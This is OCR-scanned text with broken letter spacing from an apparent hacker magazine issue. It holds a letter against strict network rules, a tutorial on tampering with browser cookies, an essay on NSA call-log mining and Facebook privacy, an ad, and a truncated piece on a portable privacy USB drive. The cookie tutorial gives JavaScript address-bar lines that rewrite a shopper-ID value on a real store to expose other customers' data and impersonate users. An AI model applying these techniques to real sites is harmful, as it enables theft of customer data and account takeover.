put forth i n  2 2 : 4  i n  t he  a rti cle " N etwork  Adm i n ­
i strators :  Why We M a ke H a rs h  Ru les . " H e re I of­
fer my perspective on t he  po li cies a n d  
j ustificati on s  lai d  o u t  i n  t he  o ri gi n a l  a rticle. 

A lot of the o rig i n a l  a utho r's  a rg u m ent 
seemed to boi l down to "We m a ke h a rs h  ru les to 
m a ke our  lives easi e r" a n d/or  "we m a ke h a rs h  
ru les t o  p rotect o u rse lves . "  N eithe r  of these  a r­
g u ments fly. I a pp reci ate that IT ca n be a diffi­
cu lt job ,  b ut if t he  h a rs h  ru les you ' re i mposi n g  
t o  m a ke you r  lives easier o r  cover you r  asses 
m a ke life much  h a rde r  for everybody else, t hen  
t hey j ust a re n 't a pp rop riate. I t  does suck  

To  be  fai r, t he  a utho r  poi nts out that there 
a re s ome  u nsecured com p uters avai la b le ,  b ut to 
t he  secu rity-mi n ded that probab ly i s n 't a via b le 
a lternative si nce  usi n g  those com puters may i n ­
c u r  a n  u n a cceptab le leve l o f  ri s k  si n ce t hey a re ,  
by d efi niti o n ,  u nsecu red . He a lso ma kes the 
point that t hey a re p retty len ient  about app rov­
i n g  th i ngs  n eeded for work p u rposes.  Unfo rtu­
n ately, many  compa nies a re n ot so leni ent. In  
a dditi o n ,  it i s  often t he  case that the  overhead 
of getti n g  a pp rova l i s  too h igh  to be  practi ca l in  
t he  cou rse  of a workday. I know that at my col­
lege it is very h a rd to a ctua lly g et excepti on s  
made  o r  to  get softwa re i n sta lled . As a resu lt, 
t h e  vast m ajo rity of students h ave to waste a lot 
of tim e  fi nd i ng  a lternate m ethods  of comp let­
i n g  t h ei r  tasks  o r, m o re often ,  j ust b ri n g  i n  
the i r  own laptops .  

A n othe r  a rg u ment i n  t he  a rti cle i s  that it i s  
n ecessa ry to h ave these  d racon ian  ru les to  p ro ­
tect everyon e  from n etwork d ownti me .  I a g ree  
to a n  extent. But  a s k  you rself - what  i s  the  rea l 
proble m  with n etwork  downti m e? It is that 
the re i s  a substanti a l  loss of p roductivity. Thus ,  
if t he  ru les a re so strict that t hey cause a loss  of  
productivity from day to day then  this  becom es 
a ba la n ci n g  a ct because  you may cu m u lative ly 
lose as mu c h  p roductivity over ti m e  as you lose 
respondi n g  to n etwork i n ci d ents when  they 
occu r. 

The  a rg u ment that e rs m e  m ost was 
the suggesti o n  that "If someone  i s  d oi n g  s ome­
thi n g  pe rsona l  a n d  n ot causi n g  a proble m ,  we 
p robab ly a ren 't goi n g  to even n otice . " This basic 
a rg u m ent ca n be  fou n d  in every nook a n d  
cra n ny o f  soci ety, b ra n c h i n g  from n etwork secu­
rity ru les to corporate po li cy and even i nto t he  
leg a l  system .  I t  basica lly s eems  to be  sayi n g  
"We rea lize t h e  ru les a re ha r sh ,  b u t  w e  a re tac­
itly o kay with you b rea ki n g  t hem ,  except when  
we ' re n ot. " In  m a ny cases it i s  n ecessary a n d  ex­
pected that the ru les be broken in the cou rse of 
no rma l  busi ness a n d  that the user/emp loyee/ 
citizen/whatever j ust assum es the  company wi ll 
enfo rce them fai rly. Thi n k  about the speed limit 
o n  the h i g hway - a lm ost everybody I know 
speeds  m ost of the  time .  I n  genera l  it i s  o kay. 
B ut s ometi m es you get a ti c ket for it. It rea lly 
u psets m e  that so many  system s  seem to be i n  
p lace whe re t h e  ru les a re m a d e  overly h a rs h  a n d  
t h e n  expectati on s  a re set u p  counter t o  t h e  
ru les .  

To b ri efly a dd ress t he  a ctua l  list of ru les :  
1 .  Use the network for business purposes 

only. This  is rid iculous a n d  obvious ly a ny com­
pany k nows it i s  consta ntly bei n g  b ro ke n .  To  ex­
pect you r  user to n ot even s u rf the web is 
ludicrous ,  especi a lly on t hei r  b rea k ti me .  

2 .  No  one  hooks up  other devices to the net­
work without permission (i. e. , laptops, PDAs, 
thumb drives, wireless periphera ls, etc.) I u n ­
de rstan d  this  a n d  m ostly ag ree  with it, but 
the re a re m a ny cases whe re some type  of re­
m oval  sto rage  may well be  n ecessa ry a nd t he  
b u rden  of getti n g  each d evice sca n ned  a n d  a p­
p roved each ti m e  you want  to use  it is a bit 
h a rs h .  This i s  especia lly true si n ce pa rt of t he  
so luti o n  to t he  restri ctive po li cy was  t ha t  users 
cou ld use  the  non -secu red com p uters . . .  but 
h ow d o  t hey g et t h ei r  softwa re over to them 
without a remova l storage d evice? I h ope  
they're n ot on  t he  sa m e  n etwork a s  t he  secu red 
mach i n es . . . .  

3 .  N o  one installs their own software o r  does 
installs besides me. I u nde rstan d  this ,  but I 
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oathe it. Those users who have a decent u n der­
sta n d i n g  of copyri g ht and secu rity s h o u Ld p rob­
a b Ly be deLegated this abi Lity. Give n ,  fig u ri n g  
o ut who ca n be trusted i n  this regard may b e  
difficu Lt, b u t  i n  m y  experience t h e  resu Lti n g  
Loss o f  p roductivity d u e  t o  t h i s  type  o f  ru Le i s  
staggeri n g .  ALso ,  I thi n k  it wou Ld be easy 
enough  to say that the  IT depa rtm ent is n ot ex­
pected to s u p p o rt user-i n sta LLed softwa re. 

4. No one connects to personal email, either 
through a software client (i. e., Outlook Ex­
press) or through a web interface. I've vi o Lated 
this ru Le at every job that's had it a n d  disagree 
with it enti reLy. Emai L i s  o n Ly a vi rus vecto r 
when used i n a p p ro p riateLy. Why n ot j ust a ru Le 
that users ca n n ot down Load attachments fro m 
thei r  person a L  emai Ls? 

5. No one uses cha t  software. This i s  a rea L  
s h a m e .  Yes,  chat software ca n ca use a Loss of 
p roductivity beca use peopLe use it to chat with 
friends ,  but it ca n a lso be  a powerfu L com m u ni ­
cation  too L  with in  the  workpLace. The p Laces I 
have worked that a LLowed chat between e m p Loy­
ees seemed to have a m uch m o re organized a n d  
cohesive u n de rsta n d i n g  of p rojects a n d  the Li ke 
as  a resu Lt. The m e re fact that m a ny of these 
clients can be used for fi Le tra n sfer does n ot 
seem to be a j ustificati o n  at aL l - in AIM ,  fo r ex­
a m p Le,  it is  easy to disabLe di rect con n ecti o n s  
a n d  fi Le tra nsfers but sti LL a LLow chats. 

6. No one uses file sharing software (i. e . ,  
Kazaa). O kay, this one I a g ree with . Except in 
ra re situati o n s  I ca n n ot see good job-reLated 
uses for these services a n d  they ca n be a severe 
d ra in  on  bandwidth , especia lly upstrea m .  

7. No use of  Internet radio o r  downloading 
of music or video files unless related strictly for 
work purposes. I ca n a Lso agree with this ,  
m ostLy for the same reasons  as the above. 

8. No copyright  infringement. This s h o u Ld go 
without sayi n g ,  especi a LLy in a workpLace. That 
sai d ,  m a ny p Laces I have worked routi n e Ly re­
qui red va rious  forms  of copyright  i nfri n gement. 
This was especia LLy true fo r MS p roducts, where 
I was to Ld we had  a License a n d  we were covered 
fi n e  to use m u Lti p Le copies even though  on the 
face of it I was performi n g  a n  i llega L  i n sta Ll. I 
tri ed com p Lai n i n g ,  but was basica lly toLd that 
this i s  h ow things work and si n ce I n eed the 
softwa re, I had  to i n stall  it .  I guess I j ust trust 
that the com pa ny is  teLLi n g  the truth and that I 
won't be resp o n si b Le.  Of cou rse, were it ever to 
com e  to cou rt it wou Ld have been me who 
i n sta LLed it ,  so . . . .  

9 .  No a ttempting to circumvent the current 
security systems or hacking. LOL. Yea h ,  rig ht. 

With such a ridicuLous Ly d raconi a n  ru Leset I sus­

pect I wou Ld be expected to vio Late some of 

these ru Les at Least some of the ti me .  N ow I ca n 

u n dersta nd  the p rovisio n  against hacki n g ,  es­

pecia lly as  it pertai n s  to hacki n g  othe r  users o r  

entities o utside  the  compa ny, b u t  if  it ta kes a 

hack  to do somethi n g  I thi n k  is perfectLy rea­

sonabLe, I ' L L  p robabLy d o  it. 

1 0. We make it clear that  we offer no expec­

tation of privacy on our network. I rea LLy hate 

this. Many o rganizations  j ust use the b La n ket 

n otion  of removi n g  a LL expectati o n s  of p rivacy 

to cover those few ci rcumsta n ces where they 

actua lly need the authority. Yes,  it is easier to 

operate with no expectati o n  of p rivacy - he LL, 

the U . S .  government  is clea rLy p u s hi n g  for this -

but that does n 't m a ke it a p p ro p riate o r  m o ra l. 

1 1 .  All executable and zip files are blocked 

at the firewall. U n fo rtunateLy I am goi n g  to say 

this ru Le is o kay. This is a h u g e  vector for 

vi ruses . . .  of cou rse, that is La rgeLy beca use so 

m a ny organizati o n s  use Mi crosoft O utlook .  

In closi n g ,  I quixoticaLLy hope  that  n etwork 

a d mi nistrators wi LL eventua LLy rea Lize that try­

i n g  to push  extremeLy restrictive r u Les i s  a bad 

idea. It wou Ld be m uch better to com e  u p  with 

m o re reasonabLe ru Les that do  n ot conflict with 

the rea Lity of the  workplace a n d  then to work to 

educate users a n d  enfo rce these.  When you give 

out a List of excessiveLy h a rsh  ru Les that seem 

u nj ustified then 1 )  users a re Less Li keLy to ta ke 

them serious Ly si n ce they a re clearLy bei n g  b ro­

ken by everybody a LL the ti me;  2 )  o n ce th ey've 

had  to b rea k o n e  a LittLe, a user may weLL decide  

that  they've a Lready b ro ken o n e  so they might  

as  well get the m ost out of  i t ;  a n d  3 )  users a re 

wo rki n g  to keep their  actions  as secretive as  

possi bLe which i s  what causes the a ntagonistic 

reLationsh ip  between users a n d  IT. 

So n etwo rk a d m i n s  out there who thi n k  that 

j ust by m a ki n g  rea LLy h a rs h  ru Les you ' re h eLpi n g  

thi ngs  - thi n k  agai n .  

( O h ,  a n d  as  t o  r u n n i n g  W 2 K  . . .  you s h o u Ld 

proba b Ly stop doi n g  that. W 2 K  is offici a lly n o  

Longer  s u p p o rted b y  Microsoft a n d  n otab Ly that 

m ea n s  n o  m o re secu rity patches.  Give n ,  this i s  

a n  attem pt by M S  to fo rce a n  u p g rade,  b ut run­

n ing  thei r  softwa re without the benefit of them 

at Least fixi n g  thei r  m ost egregious  (or  at Least 

p u b Lic) mistakes via secu rity updates is  an espe­

cia LLy bad idea . )  
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with Co 
by Simon Templer 

In 2 2 : 3  A5anO talked about a great tech nique 
for chang ing  form values usi n g  the address bar, 
which is excellent when you don 't have a too l  
such  as WebSleuth .  Chang ing  form va lues via 
JavaScript is a techn ique I often use when test­
i n g  web app li cations .  But a nother common  pitfa ll 
for a lot of web developers i s  stori n g  i nformation  
i n  coo kies .  Most  don 't rea lize that  cookies a re 
easy to view and  j ust as easy to edit. 

So what can you fi nd  in cookies? Well, besides 
the pub li cized use of tracki n g  people on  the web, 
the rea l chocolate chips a re the  mistakes, usi n g  
cookies t o  store access levels, consecutive user 
IDs,  and p rice i nformati on .  So h ow do you fi nd  
the chocolate chips? 

Depend ing  on  your p referred method ,  you can 
look  at cookies i n  a n umber of ways : 

JavaScript: By simp ly pasti n g  the fo llowi ng  
i nto the  address bar, you  wi ll receive a message 
box with the contents of the cookie :  
j a vascript : a l ert(documen t.cooki e} ; 

V86: If you add a reference to the Internet Ex­
p lorer Lib ra ry (shdocvw.d ll) a nd  retrieve the 
"document" object property you can use its 
"cookie" property. 
Msgbox IEInstan ce.Doc umen t.cooki e 

Mozil/;l Firefox Extensions: Fi refox has a few 
extensions  you can down load for free that wi ll a l­
low you to both view and  edit cookies .  ( Examp le :  
An EC Cookie  Editor) 

To demonstrate the misuse of the cookie  we 
wi ll use a rea l e-commerce site that sells various 
tools and equipment. (All potentia lly damaging 
information  has  been omitted to p rotect the 
company . )  An examination  of the cookie  du ri ng  
checkout yie lded the fo llowi n g :  
Shopperid=8 0 0 2&Username=simon@templer.co 

-m&Na vcustomerno=&Shoppertype=regu lar&Na 

-vcon t a c t i d=&Con tact type=customer&Sa l es 

-personCode=&ISACust omerNo=&sal esperson 

-type=&A l l oWOnAccount=false 

Noti n g  the va rious fi elds, we can begin the 
p rocess of man ipu lati n g  the cookie  va lues and 

seei ng  how the web app li cation  responds .  
Agai n ,  depending o n  your p referred method ,  

you can edit the cookies via the fo llowing  meth­
ods :  

JavaScript: By pasti n g  this code i nto the ad­
d ress bar it wi ll set the  "Shopperid "  cookie  va lue 
to 8000 and then display the new va lue via a 
message box. 
j a vascript : documen t � cookie= ' Shopperid= 

- 8 0 0 0  ;path=/ ' ; a l ert(doc umen t.cooki e}; 

V86: Simi la r  to the JavaScri pt method,  set­
ti ng  the coo kie  property of the document object 
wi ll change the value of the cookie .  
IEInstan ce.Documen t.cooki e = "Shopperid= 

- 8 0 0 0  ;path=/ " 

Mozil/;l Firefox Extensions: If you ' re usi n g  the 
An EC Cookie  Editor for Fi refox then you can sim­
p ly sea rch for the cookie  you wis h  to  edit a nd  edit 
its content value. 

Rega rd less of the m ethod ,  chang ing  the value 
of "Shopperid "  resu lted in a very disturbi ng  out­
come .  The checkout i nformation  was automati ­
cally populated with other customers' 
i nformation .  By simp ly changi ng  the value of 
Shopperid ,  I was ab le to enumerate information  
for several  different people .  But the fun conti n ­
ued  on .  C hang i ng  the "AllowOnAccount" va lue to 
"true" un locked an option  to checkout on account 
i n stead  of usi n g  a credit card. I 'm sure this cou ld 
certai n ly be misused. And of course the fi n a le 
was bei ng  ab le to logi n a n d  impersonate a nyone  
by  si mp ly copyi ng  the cookie  values and  chang­
i n g  the emai l  address to a known valid  address. 

So let's recap what we've lea rned .  Developers 
often make the mista ke of stori n g  security re­
lated i nformation  in cookies .  By chang ing the 
va lues i n  the cookies we a re sometimes ab le to 
exp loit logic flaws to retrieve information ,  esca­
late our privi leges, o r  bypass security mecha­
nisms.  Many homegrown and for pu rchase web 
app lications  suffer these flaws, so have fun try­
i n g  to fi nd  them ! 
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I've been on the receivi n g  end of a la rge num­
be r  o f  curious g la n ces as I wa l k  down the street 
with my stylish  ti n foi l-covered cellu la r  phone .  
N o  longer a ritua l  coi n ed by  ea rly sci-fi movies to 
prevent mind  control, it's now my best weapon 
against the wi retappi ng  a nd  data min ing po li cies 
of today's regi me .  1.  for one ,  won 't let M r. Bush 
track me or  my phone  ca lls .  N o  si r. The Fa raday 
cage effect of the foi l prevents precisely that. 
And ,  unfortunate ly, my abi lity to p lace or  receive 
ca lls as  well. 

After the September 11th attacks, President 
Bush gave autho rization  for the NSA to wi retap 
any i nternationa l  p hone  call made withi n  the 
Un ited States - without a warrant. The bean s  
were spi lled late last yea r when  publi c  outrage 
over the poli cy seemed to come and  go i n  a si ng le 
bu rst as people began to focus less on their p ri ­
vacy and  more on  why they've begun  spendi ng  a 
day's pay to fi ll thei r  SUV's gas tank .  Then ,  i n  
early May, more beans  were spi lled , leavi ng  quite 
a m ess for the  NSA to sweep under  th e ca rpet. 
The claim this time  a round  was that they had 
sta rted yet another i nvasive program at about 
the same time  as the fi rst one .  As it turns out, 
they'd a lso been data-mi n ing  information  about 
every single phone call p laced by the customers 
of cooperati n g  corpo rations ,  namely AT&T, Veri ­
zon ,  a nd  Bel l  South ( a lthough  some a re denyi ng  
this claim ) .  

Su rprisi ng ly, t h e  reaction  I get u p o n  discus­
sio n  of the matter with most people genera lly 
fa lls i nto one  of two categories :  the "What a re 
you talki n g  about? What's the NSA?" category 
a nd  the "It doesn 't affect me .  I have nothi ng  to 
h ide and  if you do ,  you m ust be a terrorist ."  cate­
gory. Very ra rely do I encounter concerned i ndi­
vidua ls .  It i s  therefore my hope that by the end of 
this a rti cle, you ' ll n o  longer  have any doubts 
about the severity of such poli cies, be it those 
made b latant by our government or  those exist­
i n g  more subtly in p rivacy po li cies set by corpora­
tions  and va rious Internet services. 

Socia l  n etworks yield al l  so rts of valuable i n ­
formation  - to  advertisers ,  governments, identity 
thieves, governments, stalkers, governments , 
a nd  a whole s lew of other people who simp ly 
want to know what you ' re up to for one  reason o r  
a nother. D i d  I mention  govern ments? Today, not 

on ly do socia l  n etworks exist i n  rea l life, but rep­
resentations  of these n etworks, a nd  even enti rely 
disti n ct networks, exist on the Internet. My­
Space, Xanga ,  LiveJourna l, Flickr, B logger, a nd  
countless other o n li n e  networki ng  sites a re ex­
tremely popula r  among  today's youth .  As a col­
lege student, the one  I fi nd  myself relyi n g  on  
most happens  to  be Fa cebook ,  and  so I ' l l  focus 
mai n ly on  this particular site. H owever, they're 
a ll very sim i la r  in natu re and pose the exact same 
risks .  

Facebook,  a popu la r  networki ng  site for stu­
dents, is a good examp le of the dangers that lurk 
i n side these vi rtua l  networks and behind the 
po li cies that govern thei r  use. Every student reg­
istered with Facebook has  a profi le where the op­
portunity exists to store and  exhibit a l l  sorts of 
i nformation ,  i n cludi ng  bi rthday, address, phone  
n umber, relationsh ip  status and  partner, h i gh  
school, political  views, favorite m usi c/movies 
/shows, et cetera .  All the same  sort of i nforma­
tion  you'd be expected to answer when attempt­
i ng to prove you r  identity, i n dexed on a si ng le 
server and  viewable by the world - and people fill 
it all out. (It's a pity they don 't have a "Mother's 
maiden name?" field . )  After the student's profi le 
is created,  Facebook provides a powerfu l search 
tool to he lp bui ld up  the socia l  n etwork. Searches 
can be performed by name ,  school, class yea r, 
a nd  many other  fie lds i n  a n  attempt to fi nd  
someone,  be it a close buddy, a lon g  lost class­
mate, or  a ra ndom student on the other  side of 
the country. Addi ng  someone as  a "friend"  forms 
a socia l  con nection  and a llows more i nformation  
to be exchanged between the two pa rties .  Specia l  
interest groups ca n a lso be formed.  The capabili­
ties of Facebook have been expand ing  g reatly in 
the past few months ,  too. One feature i n  pa rticu­
la r, the photo ga llery, has  made some uncomfort­
ab le with the service whi le others si mp ly love it. 
You ' re given the capabi lity to up load photo gal­
leries a nd  tag each photo with the names of 
those present i n  it. These pictures a re then auto­
matically li n ked d i rectly from the p rofi le of those 
tagged in it, rega rd less of whether or  n ot they 
approve . Need less to say, many i ncrim inati n g  and  
emba rrassi ng  photos have been  up loaded,  on ly 
to become automatica lly li n ked to from the pro­
file of the person shown.  
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Once you 're a ll set up - profi le constructed, 
pictures u p loaded, socia l  network formed, groups 
created - the data ca n rea lly do its work. You ' re 
able to get statistics on how many people you 
know from each school, build socia l  trees, and 
even view a ti meline  of  who you 've met, what 
you've done with them, where you 've worked , and 
a ll sorts of other data based on how m uch you 've 
provided.  You can even see how many "hops" 
away you a re from knowing  a particula r  perso n .  
T h e  tech no logy is cool, b u t  t h e  privacy i m p lica­
tions a re chilli ng .  Keep in  mind that I 've o n ly de­
scribed a ti ny portion of the capabi lities of this 
network and possi ble fields of data entry. 

Now, let's take a quick look at some excerpts 
of thei r  m u lti-page p rivacy policy: 

• "We are not responsible for the personally 
identifiable information you choose to submit in 
these forums or for others' misuse of such infor­
mation. " 

• "Facebook may also collect information 
about you from other sources, such as newspa­
pers, blogs, instant messaging services, and 
other users . . .  in order to provide you with more 
useful information and a more personalized ex­
perience. " 

• "When you use Facebook, you may form re­
lationships, send messages, perform searches 
and queries, form groups, set up events, and 
transmit information through various channels. 
We collect this information . . .  " 

• "When you update information, we usually 
keep a backup copy of the prior version . . .  " 

• "By using Facebook, you are consenting to 
have your personal data transferred to and 
processed in the United States. " 

I h o p e  I 'm n ot the o n ly o n e  who fi nds  some 
of these po li cies fucking scary. The fi rst i s  a rel­
atively typica l disclai mer  that you ' ll fi n d  in m ost 
p o licies,  but take a loo k  at the n ext th ree. Face­
book ad mits to co llecti n g  i n formation  a bout 
you from other sources - n ot even i n formatio n  
y o u  wi lli n g ly give them ! I 'm n o t  q uite sure h o w  
m uch t h i s  actua lly h elps give a "person a lized 
experience" but the  fact that there a re partner­
sh ips  between Facebook a n d  other  o n li n e  enti ­
ties who  s h a re your  data i s  q uite distu rbi n g  i n  
itself. They a d mit t o  collecti n g  a ll this i nforma­
tio n ,  which i s  a p p a rent, b ut then go o n  to state 
how it's a ll retai ned,  regard less of whether  or  
n ot you  attem pt to  rem ove i t .  Th i s  means  that 
anything you post i s  permanently avai la ble to 
both Facebook  and whomever they decide  to 
s h a re it with .  These bits of the p o licy a lone  es­
sentia lly give Facebook free rei g n  to do what 
they'd li ke with the i nformati o n ,  whi le the last 
excerpt ackn owledges that o u r  govern m ent may 
do the same .  Even if you thi n k  that the Face-

book  e m p loyees a re p retty nice g uys, the g ov­
ern m ent can easi ly d e m a n d  thei r  databases 
with the sign-of-th e-ti m es " n ati o n a l  secu rity" 
excuse, a n d  it'd be i lleg a l  for Facebook to tell 
you that it even h a ppened at a ll.  

Wh i le o n li n e  soci a l  n etworks themselves a re 
o pt-i n a n d  u lti m ately a llow thei r  users to main­
tai n contro l over the i n formatio n  submitted,  
the NSA's  a p p roach i s  q uite different. Th ey've 
persuaded various  tele p h o n e  corpo rati o n s  i nto 
p rovi di n g  access to every customer's call logs 
without any sort of n otificati o n  at a ll. At fi rst 
thoug ht, j ust the ca ll data seems q uite h a r m ­
less, b u t  upon  consideration  o f  how m a ny mi l­
lio n s  of custo m ers these co mpa nies p rovide  for 
a n d  the sort of i ntercon n ecti o n s  that ca n be 
d rawn by com bi n i n g  this  enormous a m o u n t  of 
data usi n g  the resources avai lab le to the N SA, 
the pictu re becom es q uite clea r. 

With the i ntroducti o n  of the Patriot Act a n d  
other H o m ela n d  Secu rity legis lati o n ,  it's be­
com e  i n credi b ly easy fo r law enfo rcement to de­
tai n i ndivi d u a ls with o ut even the s lightest h int  
of evidence if they clai m that such a n  acti o n  i s  a 
matter of nati o n a l  secu rity. They d o n 't n eed i m ­
m ediate proof, so they've g o t  p lenty o f  ti m e  to 
bui ld up a case - a n d  what better p lace to sta rt 
than  a person ' s  p h o n e  records? With access to 
the logs of every possi b le tele p h o n e  contact 
poi nt i n  the country, it's i n credi b ly easy to bui ld 
a tree based on a n  i ndivi d u a l's activity. Such a 
tree ca n potenti a lly stretch out i n d efi nitely 
(that i s ,  as fa r back as thei r  log hi story ca n re­
a li stica lly ta ke them ) ,  ass u m i n g  the person 
d oesn 't have a si n g le g ro u p  of friends  that co m­
m u nicate exclusively with each  other. The po­
tenti a l  exi sts to  con n ect o n e  person with nearly 
anyo n e  else fo r which th ese records exist. U si n g  
well kn own a lgorith ms ,  this ca n be d o n e  a t  fas­
ci nati n g  speeds without even consideri n g  the 
p rocessi ng  power  a n d  top-secret i n - h o use a lgo­
rith m s  the NSA su rely has. This ca pabi lity en­
a b les them to m a ke it seem as if two people 
who 've n ever actual ly m et do i n d eed know each 
oth er. If some "oth er person"  ca n be fou n d  who 
has  known ties with terro rist o rganizati o n s  a n d  
ca n be easi ly li n ked t o  y o u r  call data , th ey've 
got a ll the " p roof' n eeded.  

Consideri n g  the Facebook exa m p le o n ce 
agai n ,  I had  mentioned  that it's possi b le to loo k  
a t  exactly h o w  m a ny " h ops"  away you a re from 
knowi n g  a n other i n divi d u a l. O n ce a rea listi­
ca lly-sized soci a l  n etwork is bui lt, you ca n liter­
a lly spend days browsi ng  through others'  
p rofi les to whom you a re co n n ected via o n ly a 
few hops .  Peo p le you 've n ever seen befo re seem 
very closely accessib le, and i n deed si m p ly 
th rowi n g  out the n a m e  of a com m o n  friend  
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cou ld con n ect you to h u n d reds or thousa nds  of 
people you wou ld have otherwise never even 
known existed.  The same strategy ca n be used 
by law enfo rcem ent. There exists a la rge possi­
bi lity for them to take a si n g le acco u nt a n d  
d raw a path from that account t o  nearly any 
oth er  withi n the data base - it 's  si m p ly a matter  
of the n u m ber of hops  it takes .  Not o n ly this,  
b ut usi n g  additi o n a l  i nformati o n  such as  ca ll 
ti m e  a n d ,  especia lly with cellu la r  p h o n e  ac­
cou nts, location  of the device p laci n g  the call, 
it's easy to see exactly which g roups  of peo p le 
have met - exactly when a n d  where - si m p ly by 
havi n g  the ca ll data . 

Consider the fo llowi n g  situati o n .  You ' re 
m eeti n g  a g ro u p  of friends  - Jack,  M a ry, a n d  
P h i l  - for di n n e r. You 've a ll a r ra nged fo r this 
di n n e r  via tele p h o n e  o n  Wed n esday of last 
week, when every call to the pa rtici pa nts was 
made  with in  an h o u r. You then a r rive at the 
resta urant and you want to ensure you 've fou n d  
the right  p lace.  So y o u  call Jack  t o  verify. J a c k  
a n d  M a ry a r rive s h ortly after the p h o n e  ca ll but 
Phi l seems to be late . Jack then ca lls Ph i l  to see 
when he ' ll be a rrivi n g  and fi nds that he's  o n ly 
two b locks away. Phi l then a r rives a n d  you a ll 
enj oy a wo nderful vega n di n n er. This seems to 
be a fai r ly typica l way of a rra n gi n g  such meet­
i ngs  these days a n d ,  with the advent of cellu la r  
tele p h o ny, m o re ca lls a re li kely t o  b e  made i n  
a ny such p la n ni n g  than  t h e  afo rementi o n ed ex­
a m p le - but I'm bei n g  conservative. 

For  some reaso n ,  the N SA wou ld li ke to know 
exactly wh ere a n d  who you met that n ight  fo r 
di n n er. All they know is that you ca lled Jack  be­
fore you ate a n d ,  usi n g  cell site tri a n g u lati o n  
from t h a t  c a l l  (data t h a t  i s  a lso stored b y  t h e  
carri ers) , th ey've nar rowed d o w n  the locati o n  
t o  o n e  city block.  Sifti n g  you r  call logs thro u g h  

a si m p le algorith m ,  a g ro u p  o f  friends  you reg u­
la rly talk to becomes very a p p a rent, Jack bei n g  
o n e  o f  t h e m .  Th e a lgorith m sh ows exactly when 
yo u 've ca lled Jack  i n  the past,  a n d  it 's  obvious  
that a chain  of  calls was  made to a group of  
you r  friends  on  the Wed n esday you p la n n ed the 
di n n er. (Wh o  ca lled wh om is  i rreleva nt as  they 
have the logs fo r everyon e  who pa rti ci pated 
a nyway. ) C ross- referen ci n g  to Jack 's  p h o n e  log, 
they see that s h ortly after you ca lled Jack that 
night, h e  made a call to Phi l. Agai n ,  usi n g  tri a n ­
g u lation  data , they s e e  t h a t  the ca ll o rig inated 
from the same locati on  as you r  ca ll. Then , loo k­
i n g  at Phi l's logs, they see that he was o n ly two 
blocks away from you r  locati o n .  They now know 
th ree out of the fou r  peo p le you 've m et, a n d  
M a ry ca n be deduced b y  loo ki n g  at the Wed n es­
day log .  Overlapp ing  tri a n g u lati o n  data from 
the va rious  cell sites you  a n d  Jack  were con­
n ected to n a r rows the locatio n  down to a si n g le 
resta u rant .  Q E D .  

Whethe r  o r  n ot y o u  have a nythi n g  t o  hide,  
the rea lity i s  that data that i s  a b le to pi n poi nt 
you r  exact location  is  bei n g  conti n uously 
logged a n d  stored . Vi rtua l soci a l  n etworks rep­
resenti n g  your life a re bei n g  bui lt without con­
sent. Con necti o n s  ca n be d rawn between you 
and vi rtua lly a nyone else for which this data ex­
i sts, a n d  this data ca n be m a ni p u lated to m a ke 
it seem as if you ' re affi liated with someone who 
you don 't even k n ow exists. If  you car ry  a cell 
phone ,  a trai l of every locati on  you 've been 
whi le that p h o n e  is  o n  i s  bei n g  sto red . M o re­
over, a ll this i n formatio n  is  bei n g  deposited i n  
o n e  centra l locati o n :  N S A  headquarters . Sca red 
yet? I've got some ti n foi l fo r you ,  too .  

BRAN D N EW 
Announcing the 2600 mousepads !  
They're round,  made of rubber, and 
guaranteed to work. Contains the 
same "government seal" design 
made famous by the widely 
acclaimed 2600 sweatshirt. 

$10 each, 2 for $15 (shipping 
added to overseas orders) 
2600, PO Box 752 ,  Midd le Island,  
NY 11953 USA 

online at http:/ 2600.com 
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Roll Your Own 
StealthSurfer II Pri 

by David Ip 
auto209182@ hushmail.com 

The Stea LthSurfer II Privacy Stick  (SSII) , ad­
vertised as  the " key to portab Le, p rivate surfi ng , "  
i s  a suite o f  programs housed on  a USB  flash  
d rive. The programs  run exclusiveLy off of  the 
USB  d rive with n o  i n sta LLation  on the h ost com­
puter, a LLowi n g  the user to mai ntai n a portab Le 
set of programs (and  resu Lti n g  fi Les) that can be 
moved secu reLy from computer to computer. For 
security purposes, the USB d rive i s  encrypted 
with a password, a nd  va rious secu rity programs  
a re i n cluded on the SSII to  provide a measure of 
anonymity when usi ng  the Internet with the 
device. 

There a re th ree pa rts to the SSII system :  
1 )  Ha rdware: the USB  flash  d rive itseLf. The  

devi ce, a bout the size o f  two pennies ,  is a stan­
dard USB  d rive (though  sma LLer) wh ich  p Lugs  i nto 
a ny USB  port. 

2 )  Software: a suite of Wi ndows p rograms 
that ca n run di rectLy from the USB  d rive ( no  addi­
tion  to h ost computer system requi red ) .  In addi­
tion to some propri eta ry SSII softwa re that 
provides program updates and management. the 
programs i n clude Fi refox (web browsi ng ) ,  Thun­
derbird (emai L ) ,  Roboform (password storage and 
form fi LLi n g ) ,  Anonymizer (anonymous web 
browsi n g ) ,  a nd  H ushma i l  ( anonymous/secure 
emai L) . The SSII works o n Ly with Wi ndows. 

3) Security: a third pa rty encryption/decryp­
tion  program i s  used to secure the data on the 
devi ce .  

As of this writi ng ,  the cost of the SSII ra nges 
from US  $89 . 29  for the 128MB version  to US  
$269 . 29  for the 1 G B  versi on ,  p L u s  sh ippi n g  via 
U PS .  The suite of programs is the same on a LL 
sizes of the device.  

To " roL L  you r  own " SSII type device, a L L  you 
need is  a USB flash  d rive, some progra ms,  and a 
security method .  Let's Look  at each part of the 
SSII i n dividua LLy, a Long with possi b Le free or  
open-source a Lternatives . 

Hardware 
The USB  d rive, manufactured by pm ( Power 

Quotient Internationa L  - www. pqi .com .tw) a nd  
ma rketed as the Intelligent Stick ,  Looks  Li ke any 

stan da rd USB  d rive, o n Ly sma LLer. It i s  a USB2 .0  
comp Liant device that  has  been  miniaturized by 
eLim inati n g  any La rge outside housi ng  as weLL as  
the protective meta L s h roud  a round  the USB  pi ns .  
Though a n  adapter is n ot requi red for proper 
function ,  one is provided for additiona L  protec­
tion  as weLL as a standa rd ,  meta L housed USB  
p l ug .  T he  InteLLigent Stick  USB  d rive is avai lab Le 
from many major  retai lers a nd  is typica lly soLd 
o n Li n e  for approximateLy US  $ 75 ,  i n cludi n g  ship­
pi ng ,  fo r the 1GB versi o n .  No  d river is requi red to 
mount the device on  Windows 2000/XP systems ,  
however the i n cluded encryption  softwa re re­
qui res a d river to be i n sta LLed . 

Software 
Most Wi ndows programs Litter the hard d rive 

with i n sta LLation  fi les a nd  other garbage. As 
such ,  specia L  "portab Le" versions  must be used 
which , among  other thi ngs ,  do not Litter the h ost 
computer's h a rd d rive with fi les. ALso, si nce USB  
flash  d rives a re much  s Lower a nd  sma ller than  a 
